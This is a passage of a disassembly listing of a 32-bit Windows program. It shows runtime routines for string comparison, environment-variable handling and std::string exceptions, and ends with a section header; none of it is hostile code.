		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41FA8E
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA5D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41FA5D:				; CODE XREF: sub_41F825+224j
		cmp	edi, ebx
		jz	short loc_41FA8E
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FA8E
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_421008	; CompareStringW
		jmp	short loc_41FA90
; ---------------------------------------------------------------------------


loc_41FA8E:				; CODE XREF: sub_41F825+63j
					; sub_41F825+C6j ...
		xor	eax, eax


loc_41FA90:				; CODE XREF: sub_41F825+BFj
					; sub_41F825+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F825	endp

; ---------------------------------------------------------------------------


loc_41FAA2:				; CODE XREF: sub_41F7B7+50p
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+8], edi
		jz	short loc_41FB06
		push	3Dh
		push	dword ptr [ebp+8]
		call	sub_41FCE8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp-8], esi
		jz	short loc_41FB06
		cmp	[ebp+8], esi
		jz	short loc_41FB06
		mov	eax, ds:dword_46949C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_4694A0
		jnz	short loc_41FAEC
		push	eax
		call	sub_41FC81
		pop	ecx
		mov	ds:dword_46949C, eax


loc_41FAEC:				; CODE XREF: seg000:0041FADEj
		cmp	eax, edi
		jnz	short loc_41FB44
		cmp	[ebp+0Ch], edi
		jz	short loc_41FB0E
		cmp	ds:dword_4694A4, edi
		jz	short loc_41FB0E
		call	sub_41F7B7
		test	eax, eax
		jz	short loc_41FB44


loc_41FB06:				; CODE XREF: seg000:0041FAAFj
					; seg000:0041FAC4j ...
		or	eax, 0FFFFFFFFh


loc_41FB09:				; CODE XREF: seg000:0041FC24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB0E:				; CODE XREF: seg000:0041FAF3j
					; seg000:0041FAFBj
		cmp	ebx, edi
		jnz	loc_41FC22
		push	4
		call	sub_415DA9
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_46949C, eax
		jz	short loc_41FB06
		mov	[eax], edi
		cmp	ds:dword_4694A4, edi
		jnz	short loc_41FB44
		push	4
		call	sub_415DA9
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4694A4, eax
		jz	short loc_41FB06
		mov	[eax], edi


loc_41FB44:				; CODE XREF: seg000:0041FAEEj
					; seg000:0041FB04j ...
		sub	esi, [ebp+8]
		mov	edi, ds:dword_46949C
		mov	[ebp-4], edi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_41FC29
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41FBA4
		cmp	dword ptr [edi], 0
		jz	short loc_41FBA4
		test	ebx, ebx
		jz	short loc_41FB9C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415E1D
		pop	ecx


loc_41FB76:				; CODE XREF: seg000:0041FB84j
		cmp	dword ptr [edi], 0
		jz	short loc_41FB86
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41FB76
; ---------------------------------------------------------------------------


loc_41FB86:				; CODE XREF: seg000:0041FB79j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	dword ptr [ebp-4]
		call	sub_4174BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FBD6
		jmp	short loc_41FBD1
; ---------------------------------------------------------------------------


loc_41FB9C:				; CODE XREF: seg000:0041FB68j
		mov	eax, [ebp+8]
		mov	[edi+esi*4], eax
		jmp	short loc_41FBD6
; ---------------------------------------------------------------------------


loc_41FBA4:				; CODE XREF: seg000:0041FB5Fj
					; seg000:0041FB64j
		test	ebx, ebx
		jnz	short loc_41FC22
		test	esi, esi
		jge	short loc_41FBAE
		neg	esi


loc_41FBAE:				; CODE XREF: seg000:0041FBAAj
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4174BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41FB06
		mov	ecx, [ebp+8]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41FBD1:				; CODE XREF: seg000:0041FB9Aj
		mov	ds:dword_46949C, eax


loc_41FBD6:				; CODE XREF: seg000:0041FB98j
					; seg000:0041FBA2j
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_41FC22
		push	dword ptr [ebp+8]
		call	sub_415CD0
		inc	eax
		inc	eax
		push	eax
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41FC22
		push	dword ptr [ebp+8]
		push	esi
		call	sub_415BE0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+8]
		pop	ecx
		add	eax, [ebp-8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 3D0000h
		adc	byte ptr [esi-18h], 0FCh
		popa
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh, 59h
; ---------------------------------------------------------------------------


loc_41FC22:				; CODE XREF: seg000:0041FB10j
					; seg000:0041FBA6j ...
		xor	eax, eax
		jmp	loc_41FB09

; =============== S U B	R O U T	I N E =======================================



sub_41FC29	proc near		; CODE XREF: seg000:0041FB54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_46949C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FC64
		mov	edi, [esp+8+arg_4]


loc_41FC3B:				; CODE XREF: sub_41FC29+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41F778
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FC5A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41FC74
		test	al, al
		jz	short loc_41FC74


loc_41FC5A:				; CODE XREF: sub_41FC29+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41FC3B


loc_41FC64:				; CODE XREF: sub_41FC29+Cj
		mov	eax, esi
		sub	eax, ds:dword_46949C
		sar	eax, 2
		neg	eax


loc_41FC71:				; CODE XREF: sub_41FC29+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FC74:				; CODE XREF: sub_41FC29+2Bj
					; sub_41FC29+2Fj
		mov	eax, esi
		sub	eax, ds:dword_46949C
		sar	eax, 2
		jmp	short loc_41FC71
sub_41FC29	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC81	proc near		; CODE XREF: seg000:0041FAE1p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41FC90
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41FC90:				; CODE XREF: sub_41FC81+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41FCA2


loc_41FC98:				; CODE XREF: sub_41FC81+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41FC98


loc_41FCA2:				; CODE XREF: sub_41FC81+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41FCC3
		push	9
		call	sub_417BCE
		pop	ecx


loc_41FCC3:				; CODE XREF: sub_41FC81+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41FCC7:				; CODE XREF: sub_41FC81+5Bj
		test	eax, eax
		jz	short loc_41FCDE
		push	eax
		add	ebx, 4
		call	sub_41FD5B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCDE:				; CODE XREF: sub_41FC81+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41FC81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCE8	proc near		; CODE XREF: seg000:0041FAB6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_46A8BC, 0
		jnz	short loc_41FD03
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417060
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD03:				; CODE XREF: sub_41FCE8+Aj
		mov	ecx, [ebp+arg_0]


loc_41FD06:				; CODE XREF: sub_41FCE8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41FD49
		movzx	edx, al
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_41FD35
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41FD40
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41FD44
		jmp	short loc_41FD3D
; ---------------------------------------------------------------------------


loc_41FD35:				; CODE XREF: sub_41FCE8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41FD49


loc_41FD3D:				; CODE XREF: sub_41FCE8+4Bj
		inc	ecx
		jmp	short loc_41FD06
; ---------------------------------------------------------------------------


loc_41FD40:				; CODE XREF: sub_41FCE8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD44:				; CODE XREF: sub_41FCE8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD49:				; CODE XREF: sub_41FCE8+25j
					; sub_41FCE8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41FCE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD5B	proc near		; CODE XREF: sub_40998E+21p
					; sub_41FC81+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41FD82
		push	esi
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_415DA9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FD82
		push	esi
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD82:				; CODE XREF: sub_41FD5B+7j
					; sub_41FD5B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41FD5B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_404B1E+15p
					; sub_404B77+15p ...
		mov	eax, offset loc_420280
		call	sub_416438
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415CD0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FDEA
		lea	eax, [ebp-3Ch]
		push	offset dword_421F80
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C3C
		call	sub_4201E9
		pop	esi
sub_41FD90	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FDEA	proc near		; CODE XREF: sub_41FD90+3Fp
					; sub_41FFBC+3Fp
		mov	eax, offset loc_420294
		call	sub_416438
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438F9C
		call	sub_42010E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	ds:dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FDEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE4E	proc near		; DATA XREF: seg001:00421C40o
					; seg001:00421C60o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41FE5A
		mov	eax, offset dword_421258

locret_41FE5A:				; CODE XREF: sub_41FE4E+5j
		retn
sub_41FE4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE5B	proc near		; DATA XREF: seg001:00421C64o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FED1
		lea	eax, [ebp+var_1C]
		push	offset dword_421FF0
		push	eax
		call	sub_4201E9
sub_41FE5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE78	proc near		; CODE XREF: seg000:0041FEB8p
					; DATA XREF: seg001:00421FF4o
		mov	eax, offset loc_4202A8
		call	sub_416438
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420195
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FE78	endp

; ---------------------------------------------------------------------------


loc_41FEB5:				; DATA XREF: seg001:off_421C5Co
		push	esi
		mov	esi, ecx
		call	sub_41FE78
		test	byte ptr [esp+8], 1
		jz	short loc_41FECB
		push	esi
		call	sub_416457
		pop	ecx


loc_41FECB:				; CODE XREF: seg000:0041FEC2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41FED1	proc near		; CODE XREF: sub_41FE5B+Ap
					; sub_41FFA4+7p ...
		mov	eax, offset loc_4202BC
		call	sub_416438
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42014B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	ds:dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF2E	proc near		; CODE XREF: sub_41FF6B+20p
					; DATA XREF: seg001:00421F84o
		mov	eax, offset loc_4202D0
		call	sub_416438
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420195
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FF2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF6B	proc near		; DATA XREF: seg001:00421C44o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FFA4
		lea	eax, [ebp+var_1C]
		push	offset dword_421F80
		push	eax
		call	sub_4201E9


loc_41FF88:				; DATA XREF: seg001:off_421C3Co
		push	esi
		mov	esi, ecx
		call	sub_41FF2E
		test	[esp+20h+var_18], 1
		jz	short loc_41FF9E
		push	esi
		call	sub_416457
		pop	ecx


loc_41FF9E:				; CODE XREF: sub_41FF6B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFA4	proc near		; CODE XREF: sub_41FF6B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FED1
		mov	dword ptr [esi], offset	off_421C3C
		mov	eax, esi
		pop	esi
		retn	4
sub_41FFA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFBC	proc near		; CODE XREF: sub_404BCE+13p
					; sub_404D92+Ep
		mov	eax, offset loc_4202E4
		call	sub_416438
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415CD0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FDEA
		lea	eax, [ebp-3Ch]
		push	offset dword_4220A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_4201E9
		pop	esi
sub_41FFBC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420016	proc near		; CODE XREF: sub_420053+20p
					; DATA XREF: seg001:004220ACo
		mov	eax, offset loc_4202F8
		call	sub_416438
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420195
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420016	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420053	proc near		; DATA XREF: seg001:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42008C
		lea	eax, [ebp+var_1C]
		push	offset dword_4220A8
		push	eax
		call	sub_4201E9


loc_420070:				; DATA XREF: seg001:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_420016
		test	[esp+20h+var_18], 1
		jz	short loc_420086
		push	esi
		call	sub_416457
		pop	ecx


loc_420086:				; CODE XREF: sub_420053+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420053	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_420053+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FED1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200A4	proc near		; DATA XREF: seg002:0042300Co

; FUNCTION CHUNK AT 004200DA SIZE 0000000C BYTES

		test	ds:byte_46975C,	1
		jnz	short loc_4200B4
		or	ds:byte_46975C,	1


loc_4200B4:				; CODE XREF: sub_4200A4+7j
		call	sub_4200CE
		test	ds:byte_46AAF8,	1
		jnz	short loc_4200C9
		or	ds:byte_46AAF8,	1


loc_4200C9:				; CODE XREF: sub_4200A4+1Cj
		jmp	loc_4200DA
sub_4200A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200CE	proc near		; CODE XREF: sub_4200A4:loc_4200B4p
		push	offset nullsub_1
		call	sub_416820
		pop	ecx
		retn
sub_4200CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4200A4


loc_4200DA:				; CODE XREF: sub_4200A4:loc_4200C9j
		push	offset nullsub_1
		call	sub_416820
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4200A4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4200E6	proc near		; CODE XREF: sub_40446E+5Ep
					; seg000:00405546p
		jmp	ds:dword_4211D4
sub_4200E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4200EC	proc near		; CODE XREF: sub_4160A4+23p
					; sub_416348+13p
		jmp	ds:dword_421154
sub_4200EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200F2	proc near		; DATA XREF: seg001:off_421C94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_420195
		test	[esp+4+arg_0], 1
		jz	short loc_420108
		push	esi
		call	sub_416457
		pop	ecx


loc_420108:				; CODE XREF: sub_4200F2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4200F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42010E	proc near		; CODE XREF: sub_41FDEA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		push	dword ptr [edi]
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42013D
		push	dword ptr [edi]
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx


loc_42013D:				; CODE XREF: sub_42010E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42010E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42014B	proc near		; CODE XREF: sub_41FED1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_420188
		push	dword ptr [edi+4]
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42018E
		push	dword ptr [edi+4]
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx
		jmp	short loc_42018E
; ---------------------------------------------------------------------------


loc_420188:				; CODE XREF: sub_42014B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42018E:				; CODE XREF: sub_42014B+2Ej
					; sub_42014B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42014B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420195	proc near		; CODE XREF: sub_41FE78+2Bp
					; sub_41FF2E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421C94
		jz	short locret_4201AA
		push	dword ptr [ecx+4]
		call	sub_416457
		pop	ecx

locret_4201AA:				; CODE XREF: sub_420195+Aj
		retn
sub_420195	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201AB	proc near		; DATA XREF: seg001:00421C98o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4201B7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4201B7:				; CODE XREF: sub_4201AB+5j
		retn
sub_4201AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B8	proc near		; CODE XREF: seg000:004201D0p
		mov	dword ptr [ecx], offset	off_421CB4
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4201CC
		push	ecx
		call	sub_415E1D
		pop	ecx

locret_4201CC:				; CODE XREF: sub_4201B8+Bj
		retn
sub_4201B8	endp

; ---------------------------------------------------------------------------


loc_4201CD:				; DATA XREF: seg001:off_421CB4o
		push	esi
		mov	esi, ecx
		call	sub_4201B8
		test	byte ptr [esp+8], 1
		jz	short loc_4201E3
		push	esi
		call	sub_416457
		pop	ecx


loc_4201E3:				; CODE XREF: seg000:004201DAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201E9	proc near		; CODE XREF: sub_41FD90+54p
					; sub_41FE5B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_421184	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_4201E9	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420224	proc near		; DATA XREF: seg001:00421E84o

; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404B16
sub_420224	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420242
		mov	ecx, [ebp+8]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

locret_420242:				; CODE XREF: seg000:00420234j
		retn
; ---------------------------------------------------------------------------


loc_420243:				; DATA XREF: sub_4046AAo
		mov	eax, offset dword_421E58
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420258:				; DATA XREF: seg001:00421EB4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420260:				; DATA XREF: sub_40484Co
		mov	eax, offset dword_421E88
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4


loc_42026C:				; DATA XREF: sub_404DF9o
		mov	eax, offset dword_421EB8
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420280:				; DATA XREF: sub_41FD90o
		mov	eax, offset dword_421F90
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_420294:				; DATA XREF: sub_41FDEAo
		mov	eax, offset dword_421FB8
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202A8:				; DATA XREF: sub_41FE78o
		mov	eax, offset dword_422000
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202BC:				; DATA XREF: sub_41FED1o
		mov	eax, offset dword_422028
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202D0:				; DATA XREF: sub_41FF2Eo
		mov	eax, offset dword_422050
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_4202E4:				; DATA XREF: sub_41FFBCo
		mov	eax, offset dword_4220B8
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202F8:				; DATA XREF: sub_420016o
		mov	eax, offset dword_4220E0
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 00021000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00021000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

